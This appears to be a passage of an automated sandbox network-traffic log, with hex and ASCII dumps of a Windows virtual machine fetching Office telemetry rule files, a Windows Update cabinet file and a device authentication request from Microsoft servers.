2024-11-22 13:43:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134335Z-174c587ffdfp4vpjhC1TEBybqw00000001e000000000fkwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49759	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oCM81O7eyRokAyw&MD=FhmLLNt7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 13:43:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 149b0270-4a9d-48b1-a601-a421a7935245 MS-RequestId: 2d4c33ab-f3f3-4bcc-b531-009b6f4d0353 MS-CV: Q3u//l6GUkGMeI/U.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 13:43:34 GMT Connection: close Content-Length: 24490
2024-11-22 13:43:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 13:43:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134335Z-178bfbc474bq2pr7hC1NYCkfgg0000000390000000002fx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134335Z-178bfbc474b9xljthC1NYCtw9400000002z000000000a3h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:37 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134337Z-178bfbc474bnwsh4hC1NYC2ubs000000030g00000000hsc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:37 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:37 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:37 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134337Z-15b8b599d88pxmdghC1TEBux9c00000001qg000000004ce3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:37 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134337Z-178bfbc474bw8bwphC1NYC38b400000002v000000000d7a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:37 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134338Z-178bfbc474b9xljthC1NYCtw9400000002ug00000000mypc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134338Z-178bfbc474b9fdhphC1NYCac0n00000002vg00000000kt8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49769	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 77 2b 34 34 56 48 49 71 55 47 44 6b 54 56 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 34 62 65 65 34 36 64 35 36 64 30 35 65 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Lw+44VHIqUGDkTVM.1Context: a24bee46d56d05ed
2024-11-22 13:43:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-22 13:43:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 77 2b 34 34 56 48 49 71 55 47 44 6b 54 56 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 34 62 65 65 34 36 64 35 36 64 30 35 65 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 4b 78 53 42 4f 6b 48 4f 75 31 66 6d 49 2b 7a 57 59 59 58 58 65 6d 67 71 61 6f 68 54 6d 37 78 6e 7a 6e 54 2b 4f 70 42 6f 4e 77 4e 44 64 2b 63 48 4e 6e 39 57 33 61 38 2b 39 53 43 61 66 2b 75 4a 75 41 6b 48 65 38 66 68 2f 61 33 69 4e 31 61 38 52 70 71 73 56 69 50 56 69 63 6d 33 43 71 56 66 66 6b 61 6c 66 6f 6a 39 78 43 59 43 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Lw+44VHIqUGDkTVM.2Context: a24bee46d56d05ed<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVKxSBOkHOu1fmI+zWYYXXemgqaohTm7xnznT+OpBoNwNDd+cHNn9W3a8+9SCaf+uJuAkHe8fh/a3iN1a8RpqsViPVicm3CqVffkalfoj9xCYC
